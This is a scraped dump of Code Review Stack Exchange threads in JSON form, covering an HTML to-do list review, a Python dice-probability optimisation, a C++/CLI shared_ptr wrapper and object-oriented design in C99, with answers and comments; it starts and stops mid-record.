"body": "\n\n<h3>About the base HTML</h3>\n\n<ul>\n<li><p>It’s a good practice to add the language of the page content to the <code>html</code> element:</p>\n\n<pre class=\"lang-html prettyprint-override\"><code><html lang=\"en\">\n</code></pre></li>\n<li><p>The <code>type</code> attribute is not needed if the <code>script</code> element is used for JavaScript:</p>\n\n<pre class=\"lang-html prettyprint-override\"><code><script src=\"ToDo.js\"></script>\n</code></pre></li>\n<li><p>The <code>align</code> attribute is no longer allowed:</p>\n\n<pre class=\"lang-html prettyprint-override\"><code><body>\n</code></pre>\n\n<p>Use CSS instead (e.g., <code>text-align</code>).</p></li>\n<li><p>You should use a <code>label</code> element for the task input:</p>\n\n<pre class=\"lang-html prettyprint-override\"><code><label for=\"taskName\">Task Name:</label> <input type=\"text\" id=\"taskName\" name=\"fname\">\n</code></pre>\n\n<p>This allows users to click the label to focus the input, and it allows accessibility tools to connect the label with the input, so that their users can know what the input is for.</p></li>\n<li><p>The <code>action</code> attribute is not allowed to have an empty value. In your case, you could simply omit the attribute:</p>\n\n<pre class=\"lang-html prettyprint-override\"><code><form>\n</code></pre></li>\n</ul>\n\n<h3>About the generated HTML</h3>\n\n<ul>\n<li><p>The <code>label</code> elements for the checkboxes have the wrong <code>for</code> value. They <em>all</em> have <code>for=\"id\"</code> instead of <code>for=\"id:1\"</code>, <code>for=\"id:2\"</code> etc.</p></li>\n<li><p>Each image button needs an <code>alt</code> attribute:</p>\n\n<pre class=\"lang-html prettyprint-override\"><code><input type=\"image\" src=\"delButton.png\" alt=\"Delete\" id=\"del:…\">\n</code></pre></li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T13:30:41.777",
"Id": "212976",
"ParentId": "212929",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "212976",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T18:07:11.453",
"Id": "212929",
"Score": "5",
"Tags": [
"javascript",
"beginner",
"html",
"to-do-list"
],
"Title": "Simple front end TODO list"
} | 212929 |
<p>I am working on a project to get dice probability that requires 4 decimals places. My code works great, until the dice become huge (as I use in the example below). I am wondering if there is a way to make the process less laborious.<br />
I should specify that I do already know that the choices list ending up so large is the performance issue. I am looking for ways to improve performance.</p>
<p>An explanation of my code is:</p>
<blockquote>
<p>We have <span class="math-container">\$n\$</span> dice each with <span class="math-container">\$f\$</span> faces and a target <span class="math-container">\$t\$</span>. I want to know all the combinations of these dice to total <span class="math-container">\$t\$</span>.</p>
<p>When: <span class="math-container">\$n = 2\$</span>, <span class="math-container">\$f = 6\$</span> and <span class="math-container">\$t = 10\$</span>, the following are the possible combinations:</p>
<ul>
<li>4, 6</li>
<li>5, 5</li>
<li>6, 4</li>
</ul>
<p>meaning <code>poss_combinations</code> returns <span class="math-container">\$3\$</span>.</p>
</blockquote>
<pre><code>from itertools import product
dice = 10
faces = 10
number = 50
def poss_combinations(dice, faces, number):
choices = list(product(range(1, faces+1), repeat=dice))
count = 0
for i in choices:
if sum(i) == number:
count += 1
return count
answer = poss_combinations(dice, faces, number) / float(faces**dice)
return round(answer,4)
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T19:54:21.540",
"Id": "411825",
"Score": "0",
"body": "Yes, sorry. I fixed it."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T11:27:42.227",
"Id": "411878",
"Score": "2",
"body": "This would benefit greatly from an explanation of what the code is supposed to do."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T06:24:37.777",
"Id": "412020",
"Score": "1",
"body": "\"I should specify that I do already know why it takes so long\" so please share. Did you profile it? What was the result? What did you expect? Either you're looking for a review and provide as much context as you can miss, or you're looking for alternative implementations (which we don't do, since this is Code *Review*)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T07:28:00.060",
"Id": "412031",
"Score": "0",
"body": "@Mast IIRC we allow requests for alternate methods with the [tag:performance] tag"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T08:32:51.017",
"Id": "412037",
"Score": "0",
"body": "@Peilonrayz Do you have a link to a relevant meta with that?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-08T17:11:55.640",
"Id": "412271",
"Score": "0",
"body": "@Mast [Here's one from '11](https://codereview.meta.stackexchange.com/q/154), the question doesn't limit to just performance. Also rereading the line \"I am looking for alternative options.\" I interpret it as \"I am looking for ways to improve performance\"."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-08T17:41:52.093",
"Id": "412275",
"Score": "0",
"body": "@Peilonrayz That meta is about allowing the performance questions, not about alternative implementations. The answer specifically states a review should be requested. Requesting alternative implementations is IMO quite different from requesting a review."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-08T17:47:01.143",
"Id": "412277",
"Score": "1",
"body": "@Mast Then I won't be able to link to anything you'll find acceptable. As I don't think anyones challanged this, and the answer has set a precident that it's ok."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-08T17:48:27.167",
"Id": "412278",
"Score": "0",
"body": "@Peilonrayz No, a single answer on this site doesn't mean any such answer is ok, especially if it is from before 2014. We had a major revival in which a part of the scope changed after all."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-08T21:32:44.653",
"Id": "412305",
"Score": "0",
"body": "@Mast [It is implied with every Code Review question that \"any and all aspects of the question can be reviewed\".](https://codereview.meta.stackexchange.com/a/5774) This rule can also be seen in [questions not relating to performance too](https://codereview.meta.stackexchange.com/a/6524). If you don't agree then I'm happy to discuss this on Meta, or chat in a day or two :)"
}
] | [
{
"body": "<p>It might be good to think through what this line is doing...</p>\n\n<pre><code>choices = list(product(range(1, faces+1), repeat=dice))\n</code></pre>\n\n<p>The help for <code>product()</code> says that with your value of <code>dice</code>, this is the same as </p>\n\n<pre><code>product(range(1, faces+1),\n range(1, faces+1),\n range(1, faces+1),\n range(1, faces+1),\n range(1, faces+1),\n range(1, faces+1),\n range(1, faces+1),\n range(1, faces+1),\n range(1, faces+1),\n range(1, faces+1))\n</code></pre>\n\n<p>So when you run this, <code>choices</code> will eventually be of size 10^11. I suspect if you try to run this, and watch your system RAM usage, you will be very sad about the size of your list.</p>\n\n<p>I would suggest either finding a different solution to your problem, or just don't use so many dice ;)</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T19:57:25.817",
"Id": "212935",
"ParentId": "212930",
"Score": "4"
}
},
{
"body": "<h1>import</h1>\n\n<p>why import <code>product</code> within your method, and not in the module scope? </p>\n\n<h1>instantiation</h1>\n\n<p>There is just no reason to instantiate the <code>list</code> in </p>\n\n<pre><code>choices = list(product(range(1, faces+1), repeat=dice))\n</code></pre>\n\n<p>when you just iterate over it.</p>\n\n<p>As noted by @JordanSinger, this takes a huge toll on memory, while using it as an iterable suffices</p>\n\n<hr>\n\n<h1>numpy alternative</h1>\n\n<pre><code>a = sum(\n np.meshgrid(\n *(np.arange(1, faces + 1, dtype=\"uint8\") for _ in range(dice)),\n copy=False\n )\n)\n(a == number).sum()\n</code></pre>\n\n<p>but for larger number of <code>dice</code> and <code>faces</code> this runs into <code>MemoryError</code> too</p>\n\n<h1>alternative</h1>\n\n<p>The integer value of <code>True</code> is <code>1</code>. So instead of keeping a counter, and incrementing it each time there is a match, you can do:</p>\n\n<pre><code>def poss_combinations(dice, faces, number):\n choices = product(range(1, faces+1), repeat=dice)\n return sum(sum(roll) == number for roll in choices)\n</code></pre>\n\n<p>But even this will take ages for <code>10**10</code> combinations. Better would be to use a analytical formula like <a href=\"http://mathworld.wolfram.com/Dice.html\" rel=\"noreferrer\">this</a> one</p>\n\n<hr>\n\n<h1>alternative 2</h1>\n\n<p>A first alternative, is instead of taking the <code>product</code>, using <code>itertools.combination_with_replacement</code> to get all the combinations of dice rolls. For 10 10-faced dice, this is <code>sum(1 for _ in combinations_with_replacement(range(10), 10))</code> or <code>92378</code>. This is a much better number to work with that <code>10**10</code></p>\n\n<p>The next step is to check which combinations combine to <code>numbers</code>, and then calculate how much of these combinations are possible <a href=\"https://en.wikipedia.org/wiki/Permutation#k-permutations_of_n\" rel=\"noreferrer\">link</a></p>\n\n<pre><code>from collections import Counter\nfrom functools import reduce\nfrom math import factorial\nfrom operator import mul\n\n\ndef product_math(iterable):\n return reduce(mul, iterable, 1)\n\n\ndef combination_permutations(combination):\n c = Counter(combination)\n return factorial(sum(c.values())) / product_math(\n factorial(i) for i in c.values()\n )\n</code></pre>\n\n<p>calculates the number of possible permutations of a combination</p>\n\n<pre><code>def poss_comb_permutations(dice, faces, numbers):\n return sum(\n combination_permutations(combination)\n for combination in combinations_with_replacement(\n range(1, faces + 1), dice\n )\n if sum(combination) == numbers\n )\n</code></pre>\n\n<p>Then uses this to calculate the number of matching dice rolls.</p>\n\n<p>All 3 methods arrive at the same result for </p>\n\n<pre><code>dice = 7\nfaces = 7\nnumber = 20\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-11T17:37:37.170",
"Id": "412514",
"Score": "0",
"body": "see my answer for a faster alternative to filtering combination_with_replacement"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-14T15:34:02.210",
"Id": "412934",
"Score": "0",
"body": "also you should probably use integer division `//` in your `combination_permutations` function"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T09:08:46.700",
"Id": "212964",
"ParentId": "212930",
"Score": "6"
}
},
{
"body": "<p>The crux of the problem comes to understanding how to split the work load into smaller more manageable problems. Firstly you should find the set of combinations that total the wanted result.</p>\n\n<p>Say we have 4 10 sided dice, and we want to know the set of dice that can total 10 they would be:</p>\n\n<pre><code>1117\n1126\n1135\n1144\n1225\n1234\n1333\n2224\n2233\n</code></pre>\n\n<p>To figure this out you allow the next item to be at least the same as the current value. So 1 <= 1 <= 1 <= 7. This is a fairly easy function to create.</p>\n\n<p>For each value in the set we want to find the <a href=\"https://en.wikipedia.org/wiki/Permutation#Permutations_of_multisets\" rel=\"nofollow noreferrer\">permutations of the multiset</a>. This is as 1117 can be any of:</p>\n\n<pre><code>1117\n1171\n1711\n7111\n</code></pre>\n\n<p>And so we can use the calculation from the Wikipedia page. We then want the total of all these permutations of the set. This results in the total amount of rotations of the dice to get the total. And then we just divide by the total amount of permutations of the dice.</p>\n\n<hr>\n\n<p>Using the following for finding the set:</p>\n\n<pre><code>def sorted_dice_sigma_set(n, f, s):\n f += 1\n def inner(n, s, m):\n if n == 1:\n if s >= m and s < f:\n yield (s,)\n else:\n n -= 1\n for i in range(m, min(s, f)):\n for v in inner(n, s - i, i):\n yield (i,) + v\n return inner(n, s, 1)\n</code></pre>\n\n<p>I get a chance of 0.0374894389 which <a href=\"https://www.wolframalpha.com/input/?i=10+10+sided+dice\" rel=\"nofollow noreferrer\">seems about right</a> in under a second. (This is for 10 10 sided dice totaling 50)</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T20:54:19.123",
"Id": "213000",
"ParentId": "212930",
"Score": "3"
}
},
{
"body": "<p>To improve a bit Maarten's answer, you can directly generate the partitions of your target number into different dices:</p>\n\n<pre><code>def constrained_partitions(n,k,low,high):\n ''' generator for partitions of n into k parts in [low,high] '''\n if k < 1:\n return\n if k == 1:\n if low <= n <= high:\n yield (n,)\n return\n bound = min(high, n//k) + 1\n for i in range(low, bound):\n for result in constrained_partitions(n-i,k-1,i,high):\n yield (i,)+result\n</code></pre>\n\n<p>you can then use this instead of filtering <code>combinations_with_replacement</code></p>\n\n<pre><code>def poss_comb_permutations_2(dice, faces, numbers):\n return sum(\n combination_permutations(combination)\n for combination in constrained_partitions(numbers, dice, 1, faces)\n )\n</code></pre>\n\n<p>here are some timings:</p>\n\n<pre><code>%timeit poss_comb_permutations(10, 10, 50)\n35.1 ms ± 84.1 µs per loop (mean ± std. dev. of 7 runs, 10 loops each)\n\n%timeit poss_comb_permutations_2(10, 10, 50)\n25.3 ms ± 162 µs per loop (mean ± std. dev. of 7 runs, 10 loops each)\n\n%timeit poss_comb_permutations(10, 20, 50)\n5.23 s ± 71.8 ms per loop (mean ± std. dev. of 7 runs, 1 loop each)\n\n%timeit poss_comb_permutations_2(10, 20, 50)\n96 ms ± 513 µs per loop (mean ± std. dev. of 7 runs, 10 loops each)\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-11T17:37:01.090",
"Id": "213258",
"ParentId": "212930",
"Score": "0"
}
}
] | {
"AcceptedAnswerId": "212964",
"CommentCount": "10",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T18:56:10.653",
"Id": "212930",
"Score": "1",
"Tags": [
"python",
"performance",
"dice"
],
"Title": "Calculate probability of dice total"
} | 212930 |
<p><strong>Background</strong>: I'm writing C++ code after a fairly long time, so I may not be up to date on the best practices, so please bear with me. I'm only trying to improve and learn.</p>
<p><strong>Problem</strong> I need to write a wrapper in C++/CLI for a C++ library so that I can use it in C#. The limitation that C++/CLI managed types can only contain pointers to native types is very frustrating. Part of the reason is that the native library I'm wrapping around has classes that are often passed around among themselves as <code>shared_ptr</code> or native references to instances. </p>
<p><strong>Code</strong> My code is inspired by this <a href="https://www.red-gate.com/simple-talk/dotnet/net-development/creating-ccli-wrapper/" rel="nofollow noreferrer">post</a> but I'm trying to use <code>shared_ptr</code>s instead of the raw pointers.</p>
<pre><code>#pragma once
#include <memory>
namespace App
{
using namespace System;
template<typename T>
public ref class Managed
{
private:
std::shared_ptr<T>* native;
protected:
!Managed()
{
delete native;
}
private protected:
// Allows derived classes to construct native objects with parameters
// but only accepts shared_ptr
Managed(std::shared_ptr<T> t) : native(new std::shared_ptr<T>(t)) {}
// Assumes default constructor for the native object
Managed() : Managed(std::make_shared<T>()) {}
internal:
/*
Return a reference to the native object
*/
[CLSCompliantAttribute(false)]
property T& WrappedObject
{
T& get()
{
return **native;
}
}
/*
Return a shared pointer by value to the native object
*/
[CLSCompliantAttribute(false)]
property std::shared_ptr<T> WrappedPointer
{
std::shared_ptr<T> get()
{
return *native;
}
}
public:
virtual ~Managed()
{
this->!Managed();
}
};
}
</code></pre>
<p>The wrapper can be used like so (this is just an example, not something I'm actually using):</p>
<pre><code>public ref class NativeObjWrapper: Managed<NativeObj>
{
public:
NativeObjWrapper(int x) : Managed<NativeObj>(std::make_shared<NativeObj>(x)) {}
NativeObjWrapper() {}
// Example for passing by reference
void SetPropertyByReference(AnotherNativeObjWrapper^ another)
{
WrappedObject.setProperty(another.WrappedObject);
}
}
</code></pre>
<p>If somebody could take a look and point some obvious flaws that I'm overlooking, that'd be great.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-04-22T11:17:39.120",
"Id": "472837",
"Score": "0",
"body": "I think you are a bit confusing about the share_ptr, the share_ptr is a smart pointer by him self, that don't needs to be a pointer as \"std::shared_ptr<T>* native\" you show. Remove the * and fix your code like \"std::shared_ptr<T> native\"."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-21T15:32:43.883",
"Id": "493827",
"Score": "0",
"body": "@oczkoisse Long time after your question, but was this code used on production? Is it safe to use as a reference?"
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T20:23:57.290",
"Id": "212936",
"Score": "2",
"Tags": [
"memory-management",
"wrapper",
"native-code",
"c++-cli"
],
"Title": "Wrapping C++ library in C++/CLI using shared_ptr"
} | 212936 |
<p>In the following code I have created the something like the behavior of inheritance and methods in C99 (without vtable). The code compiles without any warnings even with <code>pedantic</code> and is also Valgrind Pristine. I would like to hear about design patterns and techniques to improve code quality, readability and portability to major compilers (as gcc, clang, vsc and icc).</p>
<p>The code is divided to "simulate" multiple files, the first part defines some basic struct and functions.</p>
<p>Second part defines the parent <code>polygon</code> class.</p>
<p>Third part defines a <code>polygon</code> inherited class called <code>triangle</code>.</p>
<p>Fourth part defines a <code>square</code> from <code>polygon</code> mostly defined using function placeholders.</p>
<p>And the fifth part defines the main program that uses the structs defined before for simple calls and changes in struct behaviors.</p>
<pre><code>#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <string.h>
#include <stdbool.h>
/* **************************************************
* The basics
* **************************************************/
struct point
{
float x;
float y;
};
static inline float distance (struct point p1, struct point p2);
// a.k.a. l2 norm
static inline float
distance (struct point p1, struct point p2)
{
return sqrt ((p1.x - p2.x) * (p1.x - p2.x) + (p1.y - p2.y) * (p1.y - p2.y));
}
/* **************************************************
* POLYGON
* **************************************************/
/* Header */
struct polygon
{
int sides; // All polygons have sides
struct point vertex[20]; // No more than 20 sided polygon
void (*destroy) (); // Unknown parameters
float (*area) (); // Unknown parameters
float (*perimeter) (); // Unknown parameters
void (*action) (); // A polygon also needs some action
};
float null_area ();
float null_perimeter ();
void null_action ();
float generic_area (struct polygon *p);
float generic_perimeter (struct polygon *p);
void generic_action (void);
struct polygon *polygon_init (int sides);
void polygon_destroy (struct polygon *p);
float polygon_area (struct polygon *poly);
float polygon_perimeter (struct polygon *p);
void polygon_action (struct polygon *p);
bool all_sides_are_congruent (struct polygon *p);
/* NULL function */
float
null_area (void)
{
return -1;
}
float
null_perimeter (void)
{
return -1;
}
void
null_action (void)
{
return;
}
float
generic_area (struct polygon *poly)
{
return null_area (); // Not implemented
}
float
generic_perimeter (struct polygon *poly)
{
float p = 0;
for (int i = 0; i < poly->sides - 1; i++)
p += distance (poly->vertex[i], poly->vertex[i + 1]);
return p + distance (poly->vertex[poly->sides - 1], poly->vertex[0]);
}
void
generic_action (void)
{
printf ("I'm idle!\n"); // Lazy Polygon - not much action
}
/* Specialized functions */
struct polygon *
polygon_init (int sides)
{
struct polygon *poly;
poly = malloc (sizeof *poly);
poly->sides = sides;
poly->perimeter = generic_perimeter;
poly->area = generic_area;
poly->action = generic_action;
poly->destroy = free; // Like a generic destroy ;-)
return poly;
}
void
polygon_destroy (struct polygon *poly)
{
poly->destroy (poly);
}
float
polygon_perimeter (struct polygon *poly)
{
return poly->perimeter (poly);
}
float
polygon_area (struct polygon *poly)
{
return poly->area (poly);
}
void
polygon_action (struct polygon *poly)
{
printf ("Poly addr %p: ", (void *) poly);
poly->action ();
}
bool
all_sides_are_congruent (struct polygon *p)
{
int i = 0;
float t = 0.;
float s = 0.;
s = distance (p->vertex[p->sides - 1], p->vertex[0]);
for (i = 0; i < p->sides - 1; i++)
{
t = distance (p->vertex[i], p->vertex[i + 1]);
if (s != t)
{
return false;
}
}
return true;
}
/* **************************************************
* TRIANGLE
* **************************************************/
/* HEADER */
struct triangle
{
// Triangles are like polygons, but for sake of this example
// they have heights (shhh. all polygons have heights)
struct polygon polygon;
float (*height) ();
};
// Not triangle struct dependant
float heron_area_formula (float a, float b, float c);
float shoelace_area_formula (struct point p0, struct point p1,
struct point p2);
/* Triangle struct dependant functions */
struct triangle *triangle_init (void);
/* First ones from polygon */
void triangle_destroy (struct triangle *tri);
float triangle_area (struct triangle *tri);
float triangle_perimeter (struct triangle *tri);
void triangle_action (struct triangle *tri);
/* More specilized ones */
/* These two extract the needed information to the non triangle dependant
* functions
*/
float triangle_heron_area (struct triangle *tri);
float triangle_shoelace_area (struct triangle *tri);
/* These are specilized to triangle struct only, not existing in general
* polygons
*/
float triangle_height (struct triangle *tri);
float triangle_height_from_base1 (struct triangle *tri);
float triangle_height_from_base2 (struct triangle *tri);
float triangle_height_from_base3 (struct triangle *tri);
/* Functions */
/* Some known formulas to calculate triangle area */
// Calculates triangle area given face three distances
float
heron_area_formula (float a, float b, float c)
{
float p = (a + b + c) / 2;
return sqrt (p * (p - a) * (p - b) * (p - c));
}
// Calculates triangle area given three vertices
float
shoelace_area_formula (struct point p0, struct point p1, struct point p2)
{
return .5 * fabs (p0.x * p1.y -
p0.y * p1.x +
p1.x * p2.y - p1.y * p2.x + p2.x * p0.y - p2.y * p0.x);
}
struct triangle *
triangle_init (void)
{
struct triangle *tri;
tri = malloc (sizeof *tri);
tri->polygon.sides = 3;
tri->polygon.destroy = free;
tri->polygon.action = generic_action;
tri->polygon.perimeter = generic_perimeter;
tri->polygon.area = triangle_heron_area; // By default we use heron's formula
tri->height = triangle_height_from_base1; // By default height is related to first 2 points
return tri;
}
void
triangle_destroy (struct triangle *tri)
{
tri->polygon.destroy (tri);
}
float
triangle_heron_area (struct triangle *tri)
{
return
heron_area_formula (distance
(tri->polygon.vertex[0], tri->polygon.vertex[1]),
distance (tri->polygon.vertex[1],
tri->polygon.vertex[2]),
distance (tri->polygon.vertex[2],
tri->polygon.vertex[0]));
}
float
triangle_shoelace_area (struct triangle *tri)
{
return shoelace_area_formula (tri->polygon.vertex[0],
tri->polygon.vertex[1],
tri->polygon.vertex[2]);
}
float
triangle_area (struct triangle *tri)
{
return tri->polygon.area (tri);
}
float
triangle_perimeter (struct triangle *tri)
{
return tri->polygon.perimeter ((struct polygon *) tri);
}
void
triangle_action (struct triangle *tri)
{
printf ("Triangle addr %p: ", (void *) tri);
printf ("Triple action\n");
tri->polygon.action ();
tri->polygon.action ();
tri->polygon.action ();
}
// Height from three bases
float
triangle_height_from_base1 (struct triangle *tri)
{
return 2 * triangle_area (tri) / distance (tri->polygon.vertex[0],
tri->polygon.vertex[1]);
}
float
triangle_height_from_base2 (struct triangle *tri)
{
return 2 * triangle_area (tri) / distance (tri->polygon.vertex[1],
tri->polygon.vertex[2]);
}
float
triangle_height_from_base3 (struct triangle *tri)
{
return 2 * triangle_area (tri) / distance (tri->polygon.vertex[2],
tri->polygon.vertex[0]);
}
// Pick one
float
triangle_height (struct triangle *tri)
{
return tri->height (tri);
}
/* **************************************************
* SQUARE
* **************************************************/
struct square
{
struct polygon polygon;
float (*height) ();
bool (*is_square) (struct square * s);
};
struct square *square_init (void);
void square_destroy (struct square *s);
float square_area (struct square *s);
float square_perimeter (struct square *s);
void square_action (struct square *s, int num);
float square_height (struct square *s);
bool square_check (struct square *s);
bool square_check_by_side (struct square *s);
float height_from_side (struct square *s);
struct square *
square_init (void)
{
struct square *s;
s = malloc (sizeof *s);
s->polygon.sides = 4;
s->polygon.destroy = free;
s->polygon.area = null_area;
s->polygon.perimeter = null_perimeter;
s->polygon.action = null_action;
s->is_square = square_check_by_side;
s->height = height_from_side;
return s;
}
void
square_destroy (struct square *s)
{
s->polygon.destroy (s);
}
float
square_area (struct square *s)
{
return s->polygon.area (s);
}
float
square_perimeter (struct square *s)
{
return s->polygon.perimeter (s);
}
void
square_action (struct square *s, int num)
{
s->polygon.action (s);
}
float
square_height (struct square *s)
{
return s->height (s);
}
bool
square_check_by_side (struct square * s)
{
if ((s->polygon.sides == 4) && all_sides_are_congruent (&(s->polygon)))
{
return true;
}
else
{
return false;
}
}
float
height_from_side (struct square *s)
{
return distance (s->polygon.vertex[0], s->polygon.vertex[1]);
}
bool
square_check (struct square * s)
{
return s->is_square (s);
}
/* **************************************************
* MAIN CODE
* **************************************************/
int
main (void)
{
// Method 1
struct polygon p1;
p1.sides = 3;
p1.vertex[0] = (struct point)
{
.x = 0,.y = 0};
p1.vertex[1] = (struct point)
{
.5, 1};
p1.vertex[2].x = 1;
p1.vertex[2].y = 0;
p1.perimeter = &generic_perimeter;
p1.action = &generic_action;
printf ("Perimeter of P1 %.2f\n", polygon_perimeter (&p1));
polygon_action (&p1);
printf ("\n");
// Method 2
struct polygon *p2 = polygon_init (3);
struct point t[3] = { {0, 0}, {.5, 1}, {1, 0} };
memcpy (p2->vertex, t, sizeof (t));
printf ("Perimeter of P2 %.2f\n", polygon_perimeter (p2));
polygon_action (p2);
polygon_destroy (p2);
printf ("\n");
// A triangle
struct triangle *t1 = triangle_init ();
memcpy (t1->polygon.vertex, t, sizeof (t));
printf ("Perimeter of T1 %.2f\n", triangle_perimeter (t1));
printf ("Area of T1 %.2f\n", triangle_area (t1));
t1->polygon.area = triangle_shoelace_area; // Let's use another area formula
printf ("Area of T1 %.2f\n", triangle_area (t1));
printf ("Height of T1 base 1 %.2f\n", triangle_height (t1));
t1->height = triangle_height_from_base2;
printf ("Height of T1 base 2 %.2f\n", triangle_height (t1));
t1->height = triangle_height_from_base3;
printf ("Height of T1 base 3 %.2f\n", triangle_height (t1));
triangle_action (t1);
triangle_destroy (t1);
printf ("\n");
// Now a square;
struct square *s1 = square_init ();
struct point s[4] = { {0, 0}, {0, 1}, {1, 1}, {1, 0} };
memcpy (s1->polygon.vertex, s, sizeof (s));
printf ("Perimeter of S1 %.2f\n", square_perimeter (s1));
printf ("Area of S1 %.2f\n", square_area (s1));
printf ("Height of S1 %.2f\n", square_height (s1));
// Why conditional jump here?
printf ("Is S1 a square? %s\n", (square_check (s1) ? "true" : "false"));
printf ("Square action\n");
square_action (s1, 5);
square_destroy (s1);
return 0;
}
<span class="math-container">```</span>
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T06:25:59.080",
"Id": "412021",
"Score": "1",
"body": "Honest question: why are you restricted to a version of C that's 20 years old when thanks to internet access and a massive open-source community there are plenty of free, modern compilers available that will handle newer versions just fine?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T06:28:12.480",
"Id": "412023",
"Score": "0",
"body": "You say the code is divided to simulate multiple files. What is your actual situation? Do you have multiple files or not? Why do you feel the need to simulate?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T06:28:59.920",
"Id": "412024",
"Score": "0",
"body": "What is the *goal* of your program? What role do geometric shapes play in this goal?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T06:29:16.113",
"Id": "412025",
"Score": "2",
"body": "The current question title, which states your concerns about the code, applies to too many questions on this site to be useful. The site standard is for the title to simply state the task accomplished by the code. Please see [ask] for examples, and revise the title accordingly."
}
] | [
{
"body": "<p>First of all, the obvious remark is that this needs to be split in multiple files, with a .h/.c pair for each class. Since you haven't done so, you block the possibility to make this truly OO. </p>\n\n<p>It is quite cumbersome in C, but can be done. As it happens, OO lies very close to old school proper C program design with ADTs, from the time before OO was invented. A rose by any other name...</p>\n\n<p>The review below focuses on OO design in C only.</p>\n\n<hr>\n\n<p>Inheritance and polymorphism in C, as well as private encapsulation, is done through the concept of <em>opaque types</em>/<em>opaque pointers</em>. Meaning that you have a header like this:</p>\n\n<pre><code>// polygon.h\n\ntypedef struct polygon polygon;\n\npolygon* poly_create (void);\n\n...\n</code></pre>\n\n<p>This defines an incomplete type that the caller can't access directly, nor allocate. (Much like an abstract base class in C++.)</p>\n\n<p>The C file will then be along the lines of:</p>\n\n<pre><code>// polygon.c\n#include \"polygon.h\"\n\nstruct polygon\n{\n /* member variables here */\n};\n\npolygon* poly_create (void) \n{\n polygon* obj = malloc(sizeof *obj);\n ...\n return obj;\n}\n</code></pre>\n\n<p>This achieves true private encapsulation but not inheritance, because the struct definition will not be available to neither the caller nor anyone who wants to inherit (it is <code>private</code> rather than <code>protected</code> if you will).</p>\n\n<hr>\n\n<p>To achieve inheritance, polymorphism and inheritance restrictions, we need to expose the part of the struct that inherited classes may access.</p>\n\n<p>The file structure then becomes:</p>\n\n<pre><code>// polygon.h\n\ntypedef struct polygon polygon;\n typedef struct polygon_private polygon_private;\n typedef void function_to_inherit (void);\n\npolygon* poly_create (void);\n</code></pre>\n\n<p>where <code>polygon_private</code> is another incomplete type that will contain everything truly private and not inheritable.</p>\n\n<p><code>function_to_inherit</code> is a function type which we will use for polymorphism.</p>\n\n<p>Then add another header visible to the inherited class but not the caller, containing the struct implementation:</p>\n\n<pre><code>// polygon_inherit.h\n#include \"polygon.h\"\n\nstruct polygon \n{\n polygon_private* priv; // incomplete type, inaccessible from here\n\n function_to_inherit* do_stuff; // function pointer that allows for polymorphism\n\n /* other protected members here */\n};\n</code></pre>\n\n<p>The definition of the private ends up in polygon.c only:</p>\n\n<pre><code>// polygon.c\n#include \"polygon.h\"\n#include \"polygon_inherit.h\"\n\nstruct polygon_private\n{\n /* private stuff */\n};\n\npolygon* poly_create (void) \n{\n polygon* obj = malloc(sizeof *obj);\n ...\n obj->priv = malloc (sizeof *obj->priv);\n obj->priv->secret_stuff = ...;\n ...\n obj->do_stuff = print_polygon;\n ...\n return obj;\n}\n</code></pre>\n\n<p>And then we may inherit this:</p>\n\n<pre><code>// triangle.h\n#include \"polygon.h\"\n#include \"polygon_inherit.h\"\n\ntypedef struct triangle triangle;\n\ntriangle* triangle_create (void);\n</code></pre>\n\n<p>With the implementation:</p>\n\n<pre><code>// triangle.c\n#include \"triangle.h\"\n\nstruct triangle\n{\n polygon* parent;\n\n /* triangle-specific stuff here */\n};\n\ntriangle* triangle_create (void)\n{\n triangle* obj = malloc(sizeof *obj);\n obj->parent = polygon_create();\n\n // thanks to polygon_inherit.h, we have access to the parent's protected members:\n obj->parent->do_stuff = print_triangle; // polymorphism\n}\n</code></pre>\n\n<p>All inherited functions need to call those in the base class where applicable. </p>\n\n<p>I didn't write any destructors but of course those too need to be added in similar fashion. And since it is C, all constructors/destructors need to be called manually, since there's no RAII.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T16:02:44.450",
"Id": "411931",
"Score": "0",
